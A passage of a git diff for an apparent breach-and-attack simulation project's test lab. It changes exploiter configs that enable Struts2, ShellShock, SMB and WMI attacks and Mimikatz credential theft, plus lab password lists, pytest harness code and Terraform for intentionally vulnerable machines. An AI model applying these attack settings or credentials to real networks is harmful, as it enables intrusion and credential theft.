[ - "BackdoorUser" - ] + "post_breach_actions": [] }, "life_cycle": { "max_iterations": 1, "retry_failed_explotation": true, "timeout_between_iterations": 100, - "victims_max_exploit": 30, + "victims_max_exploit": 7, "victims_max_find": 30 }, "system_info": { "collect_system_info": true, - "extract_azure_creds": true, + "extract_azure_creds": false, "should_use_mimikatz": true } }, "network": { "ping_scanner": { - "ping_scan_timeout": 1000 + "ping_scan_timeout": 500 }, "tcp_scanner": { "HTTP_PORTS": [ @@ -181,8 +165,8 @@ 7001 ], "tcp_scan_get_banner": true, - "tcp_scan_interval": 200, - "tcp_scan_timeout": 3000, + "tcp_scan_interval": 0, + "tcp_scan_timeout": 1000, "tcp_target_ports": [ 22, 2222, @@ -199,4 +183,4 @@ ] } } -} \ No newline at end of file +} diff --git a/envs/monkey_zoo/blackbox/island_configs/SHELLSHOCK.conf b/envs/monkey_zoo/blackbox/island_configs/SHELLSHOCK.conf index 7fd857e65..83414774b 100644 --- a/envs/monkey_zoo/blackbox/island_configs/SHELLSHOCK.conf +++ b/envs/monkey_zoo/blackbox/island_configs/SHELLSHOCK.conf @@ -23,7 +23,7 @@ "depth": 2, "local_network_scan": false, "subnet_scan_list": [ - "10.2.2.38" + "10.2.2.8" ] }, "network_analysis": { diff --git a/envs/monkey_zoo/blackbox/island_configs/SMB_MIMIKATZ.conf b/envs/monkey_zoo/blackbox/island_configs/SMB_MIMIKATZ.conf index b5001025f..e2a8a5596 100644 --- a/envs/monkey_zoo/blackbox/island_configs/SMB_MIMIKATZ.conf +++ b/envs/monkey_zoo/blackbox/island_configs/SMB_MIMIKATZ.conf @@ -21,7 +21,7 @@ "depth": 2, "local_network_scan": false, "subnet_scan_list": [ - "10.2.2.44", + "10.2.2.14", "10.2.2.15" ] }, diff --git a/envs/monkey_zoo/blackbox/island_configs/SSH.conf b/envs/monkey_zoo/blackbox/island_configs/SSH.conf index e96894111..ebb1def8b 100644 --- a/envs/monkey_zoo/blackbox/island_configs/SSH.conf +++ b/envs/monkey_zoo/blackbox/island_configs/SSH.conf @@ -22,8 +22,8 @@ "depth": 2, "local_network_scan": false, "subnet_scan_list": [ - "10.2.2.41", - "10.2.2.42" + "10.2.2.11", + "10.2.2.12" ] }, "network_analysis": { diff --git a/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf b/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf index 30bb135e4..4b47a0246 100644 --- a/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf +++ b/envs/monkey_zoo/blackbox/island_configs/STRUTS2.conf @@ -10,7 +10,8 @@ "exploit_user_list": [ "Administrator", "root", - "user" + "user", + "vakaris_zilius" ] }, "general": { @@ -23,8 +24,8 @@ "depth": 2, "local_network_scan": false, "subnet_scan_list": [ - "10.2.2.9", - "10.2.2.11" + "10.2.2.23", + "10.2.2.24" ] }, "network_analysis": { @@ -46,16 +47,7 @@ "exploits": { "general": { "exploiter_classes": [ - "SmbExploiter", - "WmiExploiter", - "SSHExploiter", - "ShellShockExploiter", - "SambaCryExploiter", - "ElasticGroovyExploiter", - "Struts2Exploiter", - "WebLogicExploiter", - "HadoopExploiter", - "VSFTPDExploiter" + "Struts2Exploiter" ], "skip_exploit_if_file_exist": false }, @@ -64,9 +56,6 @@ "remote_user_pass": "Password1!", "user_to_add": "Monkey_IUSER_SUPPORT" }, - "rdp_grinder": { - "rdp_use_vbs_download": true - }, "sambacry": { "sambacry_folder_paths_to_guess": [ "/", @@ -116,7 +105,7 @@ "exploit_ssh_keys": [] }, "general": { - "keep_tunnel_open_time": 1, + "keep_tunnel_open_time": 60, "monkey_dir_name": "monkey_dir", "singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}" }, @@ -144,19 +133,27 @@ }, "general": { "alive": true, - "post_breach_actions": [] + "post_breach_actions": [ + "CommunicateAsNewUser" + ] }, "life_cycle": { "max_iterations": 1, "retry_failed_explotation": true, "timeout_between_iterations": 100, - "victims_max_exploit": 7, - "victims_max_find": 30 + "victims_max_exploit": 15, + "victims_max_find": 100 }, "system_info": { "collect_system_info": true, "extract_azure_creds": true, - "should_use_mimikatz": true + "should_use_mimikatz": true, + "system_info_collectors_classes": [ + "EnvironmentCollector", + "AwsCollector", + "HostnameCollector", + "ProcessListCollector" + ] } }, "network": { @@ -186,7 +183,8 @@ 8008, 3306, 9200, - 7001 + 7001, + 8088 ] } } diff --git a/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf b/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf index a7e84f1b8..80d85a7b7 100644 --- a/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf +++ b/envs/monkey_zoo/blackbox/island_configs/TUNNELING.conf @@ -5,10 +5,16 @@ "Password1!", "3Q=(Ge(+&w]*", "`))jU7L(w}", - "12345678" + "t67TC5ZDmz", + "12345678", + "another_one", + "and_another_one", + "one_more" ], "exploit_user_list": [ "Administrator", + "rand", + "rand2", "m0nk3y", "user" ] @@ -23,9 +29,10 @@ "depth": 3, "local_network_scan": false, "subnet_scan_list": [ - "10.2.2.32", + "10.2.2.9", "10.2.1.10", - "10.2.0.11" + "10.2.0.11", + "10.2.0.12" ] }, "network_analysis": { diff --git a/envs/monkey_zoo/blackbox/island_configs/WMI_MIMIKATZ.conf b/envs/monkey_zoo/blackbox/island_configs/WMI_MIMIKATZ.conf index 1498530d5..7b5fb3784 100644 --- a/envs/monkey_zoo/blackbox/island_configs/WMI_MIMIKATZ.conf +++ b/envs/monkey_zoo/blackbox/island_configs/WMI_MIMIKATZ.conf @@ -21,7 +21,7 @@ "depth": 2, "local_network_scan": false, "subnet_scan_list": [ - "10.2.2.44", + "10.2.2.14", "10.2.2.15" ] }, diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 2f8be839d..7ac70d8e0 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -4,6 +4,7 @@ import logging import pytest from time import sleep +from envs.monkey_zoo.blackbox.analyzers.performance_analyzer import PerformanceAnalyzer from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import CommunicationAnalyzer from envs.monkey_zoo.blackbox.island_client.island_config_parser import IslandConfigParser @@ -13,9 +14,9 @@ from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHand DEFAULT_TIMEOUT_SECONDS = 5*60 MACHINE_BOOTUP_WAIT_SECONDS = 30 -GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'haddop-2-v3', 'hadoop-3', 'mssql-16', - 'mimikatz-14', 'mimikatz-15', 'final-test-struts2-23', 'final-test-struts2-24', - 'tunneling-9', 'tunneling-10', 'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8'] +GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'hadoop-2', 'hadoop-3', 'mssql-16', + 'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10', + 'tunneling-11', 'tunneling-12', 'weblogic-18', 'weblogic-19', 'shellshock-8'] LOG_DIR_PATH = "./logs" LOGGER = logging.getLogger(__name__) @@ -58,12 +59,30 @@ class TestMonkeyBlackbox(object): config_parser = IslandConfigParser(conf_filename) analyzer = CommunicationAnalyzer(island_client, config_parser.get_ips_of_targets()) log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()) - BasicTest(test_name, - island_client, - config_parser, - [analyzer], - timeout_in_seconds, - log_handler).run() + BasicTest( + name=test_name, + island_client=island_client, + config_parser=config_parser, + analyzers=[analyzer], + timeout=timeout_in_seconds, + post_exec_analyzers=[], + log_handler=log_handler).run() + + @staticmethod + def run_performance_test(island_client, conf_filename, test_name, timeout_in_seconds): + config_parser = IslandConfigParser(conf_filename) + log_handler = TestLogsHandler(test_name, island_client, TestMonkeyBlackbox.get_log_dir_path()) + BasicTest( + name=test_name, + island_client=island_client, + config_parser=config_parser, + analyzers=[CommunicationAnalyzer(island_client, config_parser.get_ips_of_targets())], + timeout=timeout_in_seconds, + post_exec_analyzers=[PerformanceAnalyzer( + island_client, + break_if_took_too_long=False + )], + log_handler=log_handler).run() @staticmethod def get_log_dir_path(): @@ -99,12 +118,26 @@ class TestMonkeyBlackbox(object): def test_shellshock_exploiter(self, island_client): TestMonkeyBlackbox.run_basic_test(island_client, "SHELLSHOCK.conf", "Shellschock_exploiter") - @pytest.mark.xfail(reason="Test fails randomly - still investigating.") def test_tunneling(self, island_client): - TestMonkeyBlackbox.run_basic_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 10*60) + TestMonkeyBlackbox.run_basic_test(island_client, "TUNNELING.conf", "Tunneling_exploiter", 15*60) def test_wmi_and_mimikatz_exploiters(self, island_client): TestMonkeyBlackbox.run_basic_test(island_client, "WMI_MIMIKATZ.conf", "WMI_exploiter,_mimikatz") def test_wmi_pth(self, island_client): TestMonkeyBlackbox.run_basic_test(island_client, "WMI_PTH.conf", "WMI_PTH") + + @pytest.mark.xfail(reason="Performance is slow, will improve on release 1.9.") + def test_performance(self, island_client): + """ + This test includes the SSH + Elastic + Hadoop + MSSQL machines all in one test + for a total of 8 machines including the Monkey Island. + + Is has 2 analyzers - the regular one which checks all the Monkeys + and the Timing one which checks how long the report took to execute + """ + TestMonkeyBlackbox.run_performance_test( + island_client, + "PERFORMANCE.conf", + "test_report_performance", + timeout_in_seconds=10*60) diff --git a/envs/monkey_zoo/blackbox/tests/basic_test.py b/envs/monkey_zoo/blackbox/tests/basic_test.py index d2fad4e1e..a5e71c64c 100644 --- a/envs/monkey_zoo/blackbox/tests/basic_test.py +++ b/envs/monkey_zoo/blackbox/tests/basic_test.py @@ -1,4 +1,3 @@ -import json from time import sleep import logging @@ -14,16 +13,16 @@ LOGGER = logging.getLogger(__name__) class BasicTest(object): - def __init__(self, name, island_client, config_parser, analyzers, timeout, log_handler): + def __init__(self, name, island_client, config_parser, analyzers, timeout, post_exec_analyzers, log_handler): self.name = name self.island_client = island_client self.config_parser = config_parser self.analyzers = analyzers + self.post_exec_analyzers = post_exec_analyzers self.timeout = timeout self.log_handler = log_handler def run(self): - LOGGER.info("Uploading configuration:\n{}".format(json.dumps(self.config_parser.config_json, indent=2))) self.island_client.import_config(self.config_parser.config_raw) self.print_test_starting_info() try: @@ -33,13 +32,13 @@ class BasicTest(object): self.island_client.kill_all_monkeys() self.wait_until_monkeys_die() self.wait_for_monkey_process_to_finish() + self.test_post_exec_analyzers() self.parse_logs() self.island_client.reset_env() def print_test_starting_info(self): LOGGER.info("Started {} test".format(self.name)) - LOGGER.info("Machines participating in test:") - LOGGER.info(" ".join(self.config_parser.get_ips_of_targets())) + LOGGER.info("Machines participating in test: " + ", ".join(self.config_parser.get_ips_of_targets())) print("") def test_until_timeout(self): @@ -63,10 +62,8 @@ class BasicTest(object): timer.get_time_taken())) def all_analyzers_pass(self): - for analyzer in self.analyzers: - if not analyzer.analyze_test_results(): - return False - return True + analyzers_results = [analyzer.analyze_test_results() for analyzer in self.analyzers] + return all(analyzers_results) def get_analyzer_logs(self): log = "" @@ -95,4 +92,9 @@ class BasicTest(object): If we try to launch monkey during that time window monkey will fail to start, that's why test needs to wait a bit even after all monkeys are dead. """ + LOGGER.debug("Waiting for Monkey process to close...") sleep(TIME_FOR_MONKEY_PROCESS_TO_FINISH) + + def test_post_exec_analyzers(self): + post_exec_analyzers_results = [analyzer.analyze_test_results() for analyzer in self.post_exec_analyzers] + assert all(post_exec_analyzers_results) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index a8c0687fc..e788bb36c 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -546,6 +546,38 @@ fullTest.conf is a good config to start, because it covers all machines. </tbody> </table> +<table> +<thead> +<tr class="header"> +<th><p><span id="_Toc536021463" class="anchor"></span>Nr. <strong>12</strong> Tunneling M4</p> +<p>(10.2.0.12)</p></th> +<th>(Exploitable)</th> +</tr> +</thead> +<tbody> +<tr class="odd"> +<td>OS:</td> +<td><strong>Windows server 2019 x64</strong></td> +</tr> +<tr class="odd"> +<td>Default service’s port:</td> +<td>445</td> +</tr> +<tr class="even"> +<td>Root password:</td> +<td>t67TC5ZDmz</td> +</tr> +<tr class="odd"> +<td>Server’s config:</td> +<td>Default</td> +</tr> +<tr class="even"> +<td>Notes:</td> +<td>Accessible only trough Nr.10</td> +</tr> +</tbody> +</table> + <table> <thead> <tr class="header"> diff --git a/envs/monkey_zoo/terraform/config.tf b/envs/monkey_zoo/terraform/config.tf index 3a2bf0fc4..5396f424c 100644 --- a/envs/monkey_zoo/terraform/config.tf +++ b/envs/monkey_zoo/terraform/config.tf @@ -2,7 +2,7 @@ provider "google" { project = "test-000000" region = "europe-west3" zone = "europe-west3-b" - credentials = "${file("../gcp_keys/gcp_key.json")}" + credentials = file("../gcp_keys/gcp_key.json") } locals { resource_prefix = "" diff --git a/envs/monkey_zoo/terraform/firewalls.tf b/envs/monkey_zoo/terraform/firewalls.tf index b183a8d32..a331125c4 100644 --- a/envs/monkey_zoo/terraform/firewalls.tf +++ b/envs/monkey_zoo/terraform/firewalls.tf @@ -1,6 +1,6 @@ resource "google_compute_firewall" "islands-in" { name = "${local.resource_prefix}islands-in" - network = "${google_compute_network.monkeyzoo.name}" + network = google_compute_network.monkeyzoo.name allow { protocol = "tcp" @@ -14,7 +14,7 @@ resource "google_compute_firewall" "islands-in" { resource "google_compute_firewall" "islands-out" { name = "${local.resource_prefix}islands-out" - network = "${google_compute_network.monkeyzoo.name}" + network = google_compute_network.monkeyzoo.name allow { protocol = "tcp" @@ -27,7 +27,7 @@ resource "google_compute_firewall" "islands-out" { resource "google_compute_firewall" "monkeyzoo-in" { name = "${local.resource_prefix}monkeyzoo-in" - network = "${google_compute_network.monkeyzoo.name}" + network = google_compute_network.monkeyzoo.name allow { protocol = "all" @@ -35,12 +35,12 @@ resource "google_compute_firewall" "monkeyzoo-in" { direction = "INGRESS" priority = "65534" - source_ranges = ["10.2.2.0/24", "10.2.1.0/27"] + source_ranges = ["10.2.2.0/24"] } resource "google_compute_firewall" "monkeyzoo-out" { name = "${local.resource_prefix}monkeyzoo-out" - network = "${google_compute_network.monkeyzoo.name}" + network = google_compute_network.monkeyzoo.name allow { protocol = "all" @@ -48,52 +48,53 @@ resource "google_compute_firewall" "monkeyzoo-out" { direction = "EGRESS" priority = "65534" - destination_ranges = ["10.2.2.0/24", "10.2.1.0/27"] + destination_ranges = ["10.2.2.0/24"] } resource "google_compute_firewall" "tunneling-in" { name = "${local.resource_prefix}tunneling-in" - network = "${google_compute_network.tunneling.name}" + network = google_compute_network.tunneling.name allow { protocol = "all" } direction = "INGRESS" - source_ranges = ["10.2.2.0/24", "10.2.0.0/28"] + source_ranges = ["10.2.1.0/24"] } resource "google_compute_firewall" "tunneling-out" { name = "${local.resource_prefix}tunneling-out" - network = "${google_compute_network.tunneling.name}" + network = google_compute_network.tunneling.name allow { protocol = "all" } direction = "EGRESS" - destination_ranges = ["10.2.2.0/24", "10.2.0.0/28"] + destination_ranges = ["10.2.1.0/24"] } + resource "google_compute_firewall" "tunneling2-in" { name = "${local.resource_prefix}tunneling2-in" - network = "${google_compute_network.tunneling2.name}" + network = google_compute_network.tunneling2.name allow { protocol = "all" } direction = "INGRESS" - source_ranges = ["10.2.1.0/27"] + source_ranges = ["10.2.0.0/24"] } resource "google_compute_firewall" "tunneling2-out" { name = "${local.resource_prefix}tunneling2-out" - network = "${google_compute_network.tunneling2.name}" + network = google_compute_network.tunneling2.name allow { protocol = "all" } direction = "EGRESS" - destination_ranges = ["10.2.1.0/27"] + destination_ranges = ["10.2.0.0/24"] } diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index dccbe16dd..4c01ff4d2 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -1,19 +1,19 @@ //Custom cloud images data "google_compute_image" "hadoop-2" { name = "hadoop-2" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "hadoop-3" { name = "hadoop-3" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "elastic-4" { name = "elastic-4" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "elastic-5" { name = "elastic-5" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } /* @@ -23,73 +23,73 @@ data "google_compute_image" "sambacry-6" { */ data "google_compute_image" "shellshock-8" { name = "shellshock-8" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "tunneling-9" { name = "tunneling-9" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "tunneling-10" { name = "tunneling-10" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "tunneling-11" { name = "tunneling-11" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "sshkeys-11" { name = "sshkeys-11" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "sshkeys-12" { name = "sshkeys-12" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "mimikatz-14" { name = "mimikatz-14" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "mimikatz-15" { name = "mimikatz-15" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "mssql-16" { name = "mssql-16" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "weblogic-18" { name = "weblogic-18" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "weblogic-19" { name = "weblogic-19" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "smb-20" { name = "smb-20" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "scan-21" { name = "scan-21" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "scan-22" { name = "scan-22" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "struts2-23" { name = "struts2-23" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "struts2-24" { name = "struts2-24" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "island-linux-250" { name = "island-linux-250" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } data "google_compute_image" "island-windows-251" { name = "island-windows-251" - project = "${local.monkeyzoo_project}" + project = local.monkeyzoo_project } diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index cf45d93e0..bb7c4d72d 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -1,8 +1,8 @@ // Local variables locals { - default_ubuntu="${google_compute_instance_template.ubuntu16.self_link}" - default_windows="${google_compute_instance_template.windows2016.self_link}" + default_ubuntu=google_compute_instance_template.ubuntu16.self_link + default_windows=google_compute_instance_template.windows2016.self_link } resource "google_compute_network" "monkeyzoo" { @@ -23,27 +23,27 @@ resource "google_compute_network" "tunneling2" { resource "google_compute_subnetwork" "monkeyzoo-main" { name = "${local.resource_prefix}monkeyzoo-main" ip_cidr_range = "10.2.2.0/24" - network = "${google_compute_network.monkeyzoo.self_link}" + network = google_compute_network.monkeyzoo.self_link } resource "google_compute_subnetwork" "tunneling-main" { name = "${local.resource_prefix}tunneling-main" ip_cidr_range = "10.2.1.0/28" - network = "${google_compute_network.tunneling.self_link}" + network = google_compute_network.tunneling.self_link } resource "google_compute_subnetwork" "tunneling2-main" { name = "${local.resource_prefix}tunneling2-main" ip_cidr_range = "10.2.0.0/27" - network = "${google_compute_network.tunneling2.self_link}" + network = google_compute_network.tunneling2.self_link } resource "google_compute_instance_from_template" "hadoop-2" { name = "${local.resource_prefix}hadoop-2" - source_instance_template = "${local.default_ubuntu}" + source_instance_template = local.default_ubuntu boot_disk{ initialize_params { - image = "${data.google_compute_image.hadoop-2.self_link}" + image = data.google_compute_image.hadoop-2.self_link } auto_delete = true } @@ -57,10 +57,10 @@ resource "google_compute_instance_from_template" "hadoop-2" { resource "google_compute_instance_from_template" "hadoop-3" { name = "${local.resource_prefix}hadoop-3" - source_instance_template = "${local.default_windows}" + source_instance_template = local.default_windows boot_disk{ initialize_params { - image = "${data.google_compute_image.hadoop-3.self_link}" + image = data.google_compute_image.hadoop-3.self_link } auto_delete = true } @@ -72,10 +72,10 @@ resource "google_compute_instance_from_template" "hadoop-3" { resource "google_compute_instance_from_template" "elastic-4" { name = "${local.resource_prefix}elastic-4" - source_instance_template = "${local.default_ubuntu}" + source_instance_template = local.default_ubuntu boot_disk{ initialize_params { - image = "${data.google_compute_image.elastic-4.self_link}" + image = data.google_compute_image.elastic-4.self_link } auto_delete = true } @@ -87,10 +87,10 @@ resource "google_compute_instance_from_template" "elastic-4" { resource "google_compute_instance_from_template" "elastic-5" { name = "${local.resource_prefix}elastic-5" - source_instance_template = "${local.default_windows}" + source_instance_template = local.default_windows boot_disk{ initialize_params { - image = "${data.google_compute_image.elastic-5.self_link}" + image = data.google_compute_image.elastic-5.self_link } auto_delete = true } @@ -135,10 +135,10 @@ resource "google_compute_instance_from_template" "sambacry-7" { resource "google_compute_instance_from_template" "shellshock-8" { name = "${local.resource_prefix}shellshock-8" - source_instance_template = "${local.default_ubuntu}" + source_instance_template = local.default_ubuntu boot_disk{ initialize_params { - image = "${data.google_compute_image.shellshock-8.self_link}" + image = data.google_compute_image.shellshock-8.self_link } auto_delete = true } @@ -150,10 +150,10 @@ resource "google_compute_instance_from_template" "shellshock-8" { resource "google_compute_instance_from_template" "tunneling-9" { name = "${local.resource_prefix}tunneling-9" - source_instance_template = "${local.default_ubuntu}" + source_instance_template = local.default_ubuntu boot_disk{ initialize_params { - image = "${data.google_compute_image.tunneling-9.self_link}" + image = data.google_compute_image.tunneling-9.self_link } auto_delete = true } @@ -169,10 +169,10 @@ resource "google_compute_instance_from_template" "tunneling-9" { resource "google_compute_instance_from_template" "tunneling-10" { name = "${local.resource_prefix}tunneling-10" - source_instance_template = "${local.default_ubuntu}" + source_instance_template = local.default_ubuntu boot_disk{ initialize_params { - image = "${data.google_compute_image.tunneling-10.self_link}" + image = data.google_compute_image.tunneling-10.self_link } auto_delete = true } @@ -188,10 +188,10 @@ resource "google_compute_instance_from_template" "tunneling-10" { resource "google_compute_instance_from_template" "tunneling-11" { name = "${local.resource_prefix}tunneling-11" - source_instance_template = "${local.default_ubuntu}" + source_instance_template = local.default_ubuntu boot_disk{ initialize_params { - image = "${data.google_compute_image.tunneling-11.self_link}" + image = data.google_compute_image.tunneling-11.self_link } auto_delete = true } @@ -201,12 +201,27 @@ resource "google_compute_instance_from_template" "tunneling-11" { } } -resource "google_compute_instance_from_template" "sshkeys-11" { - name = "${local.resource_prefix}sshkeys-11" - source_instance_template = "${local.default_ubuntu}" +resource "google_compute_instance_from_template" "tunneling-12" { + name = "${local.resource_prefix}tunneling-12" + source_instance_template = local.default_windows boot_disk{ initialize_params { - image = "${data.google_compute_image.sshkeys-11.self_link}" + image = data.google_compute_image.tunneling-12.self_link + } + auto_delete = true + } + network_interface{ + subnetwork="${local.resource_prefix}tunneling2-main" + network_ip="10.2.0.12" + } +} + +resource "google_compute_instance_from_template" "sshkeys-11" { + name = "${local.resource_prefix}sshkeys-11" + source_instance_template = local.default_ubuntu + boot_disk{ + initialize_params { + image = data.google_compute_image.sshkeys-11.self_link } auto_delete = true } @@ -218,10 +233,10 @@ resource "google_compute_instance_from_template" "sshkeys-11" { resource "google_compute_instance_from_template" "sshkeys-12" { name = "${local.resource_prefix}sshkeys-12" - source_instance_template = "${local.default_ubuntu}" + source_instance_template = local.default_ubuntu boot_disk{ initialize_params { - image = "${data.google_compute_image.sshkeys-12.self_link}" + image = data.google_compute_image.sshkeys-12.self_link } auto_delete = true } @@ -249,10 +264,10 @@ resource "google_compute_instance_from_template" "rdpgrinder-13" { resource "google_compute_instance_from_template" "mimikatz-14" { name = "${local.resource_prefix}mimikatz-14" - source_instance_template = "${local.default_windows}" + source_instance_template = local.default_windows boot_disk{ initialize_params { - image = "${data.google_compute_image.mimikatz-14.self_link}" + image = data.google_compute_image.mimikatz-14.self_link } auto_delete = true } @@ -264,10 +279,10 @@ resource "google_compute_instance_from_template" "mimikatz-14" { resource "google_compute_instance_from_template" "mimikatz-15" { name = "${local.resource_prefix}mimikatz-15" - source_instance_template = "${local.default_windows}" + source_instance_template = local.default_windows boot_disk{ initialize_params { - image = "${data.google_compute_image.mimikatz-15.self_link}" + image = data.google_compute_image.mimikatz-15.self_link } auto_delete = true } @@ -279,10 +294,10 @@ resource "google_compute_instance_from_template" "mimikatz-15" { resource "google_compute_instance_from_template" "mssql-16" { name = "${local.resource_prefix}mssql-16" - source_instance_template = "${local.default_windows}" + source_instance_template = local.default_windows boot_disk{ initialize_params { - image = "${data.google_compute_image.mssql-16.self_link}" + image = data.google_compute_image.mssql-16.self_link } auto_delete = true } @@ -314,10 +329,10 @@ resource "google_compute_instance_from_template" "upgrader-17" { resource "google_compute_instance_from_template" "weblogic-18" { name = "${local.resource_prefix}weblogic-18" - source_instance_template = "${local.default_ubuntu}" + source_instance_template = local.default_ubuntu boot_disk{ initialize_params { - image = "${data.google_compute_image.weblogic-18.self_link}" + image = data.google_compute_image.weblogic-18.self_link } auto_delete = true } @@ -329,10 +344,10 @@ resource "google_compute_instance_from_template" "weblogic-18" { resource "google_compute_instance_from_template" "weblogic-19" { name = "${local.resource_prefix}weblogic-19" - source_instance_template = "${local.default_windows}" + source_instance_template = local.default_windows boot_disk{ initialize_params { - image = "${data.google_compute_image.weblogic-19.self_link}" + image = data.google_compute_image.weblogic-19.self_link } auto_delete = true } @@ -344,10 +359,10 @@ resource "google_compute_instance_from_template" "weblogic-19" { resource "google_compute_instance_from_template" "smb-20" { name = "${local.resource_prefix}smb-20" - source_instance_template = "${local.default_windows}" + source_instance_template = local.default_windows boot_disk{ initialize_params { - image = "${data.google_compute_image.smb-20.self_link}" + image = data.google_compute_image.smb-20.self_link } auto_delete = true } @@ -359,10 +374,10 @@ resource "google_compute_instance_from_template" "smb-20" { resource "google_compute_instance_from_template" "scan-21" { name = "${local.resource_prefix}scan-21" - source_instance_template = "${local.default_ubuntu}" + source_instance_template = local.default_ubuntu boot_disk{ initialize_params { - image = "${data.google_compute_image.scan-21.self_link}" + image = data.google_compute_image.scan-21.self_link } auto_delete = true } @@ -374,10 +389,10 @@ resource "google_compute_instance_from_template" "scan-21" { resource "google_compute_instance_from_template" "scan-22" { name = "${local.resource_prefix}scan-22" - source_instance_template = "${local.default_windows}" + source_instance_template = local.default_windows boot_disk{ initialize_params { - image = "${data.google_compute_image.scan-22.self_link}" + image = data.google_compute_image.scan-22.self_link } auto_delete = true } @@ -389,10 +404,10 @@ resource "google_compute_instance_from_template" "scan-22" { resource "google_compute_instance_from_template" "struts2-23" { name = "${local.resource_prefix}struts2-23" - source_instance_template = "${local.default_ubuntu}" + source_instance_template = local.default_ubuntu boot_disk{ initialize_params { - image = "${data.google_compute_image.struts2-23.self_link}" + image = data.google_compute_image.struts2-23.self_link } auto_delete = true } @@ -404,10 +419,10 @@ resource "google_compute_instance_from_template" "struts2-23" { resource "google_compute_instance_from_template" "struts2-24" { name = "${local.resource_prefix}struts2-24" - source_instance_template = "${local.default_windows}" + source_instance_template = local.default_windows boot_disk{ initialize_params { - image = "${data.google_compute_image.struts2-24.self_link}" + image = data.google_compute_image.struts2-24.self_link } auto_delete = true } @@ -421,10 +436,10 @@ resource "google_compute_instance_from_template" "island-linux-250" { name = "${local.resource_prefix}island-linux-250" machine_type = "n1-standard-2" tags = ["island", "linux", "ubuntu16"] - source_instance_template = "${local.default_ubuntu}" + source_instance_template = local.default_ubuntu boot_disk{ initialize_params { - image = "${data.google_compute_image.island-linux-250.self_link}" + image = data.google_compute_image.island-linux-250.self_link } auto_delete = true } @@ -442,10 +457,10 @@ resource "google_compute_instance_from_template" "island-windows-251" { name = "${local.resource_prefix}island-windows-251" machine_type = "n1-standard-2" tags = ["island", "windows", "windowsserver2016"] - source_instance_template = "${local.default_windows}" + source_instance_template = local.default_windows boot_disk{ initialize_params { - image = "${data.google_compute_image.island-windows-251.self_link}" + image = data.google_compute_image.island-windows-251.self_link } auto_delete = true } diff --git a/envs/monkey_zoo/terraform/templates.tf b/envs/monkey_zoo/terraform/templates.tf index 6ae6dafdc..2659c31be 100644 --- a/envs/monkey_zoo/terraform/templates.tf +++ b/envs/monkey_zoo/terraform/templates.tf @@ -18,7 +18,7 @@ resource "google_compute_instance_template" "ubuntu16" { } } service_account { - email ="${local.service_account_email}" + email =local.service_account_email scopes=["cloud-platform"] } } @@ -39,7 +39,7 @@ resource "google_compute_instance_template" "windows2016" { subnetwork="monkeyzoo-main" } service_account { - email="${local.service_account_email}" + email=local.service_account_email scopes=["cloud-platform"] } } diff --git a/envs/os_compatibility/README.md b/envs/os_compatibility/README.md new file mode 100644 index 000000000..6b97b6612 --- /dev/null +++ b/envs/os_compatibility/README.md @@ -0,0 +1,79 @@ +# OS compatibility + +## About + +OS compatibility is an environment on AWS that +is designed to test monkey binary compatibility on +different operating systems. +This environment is 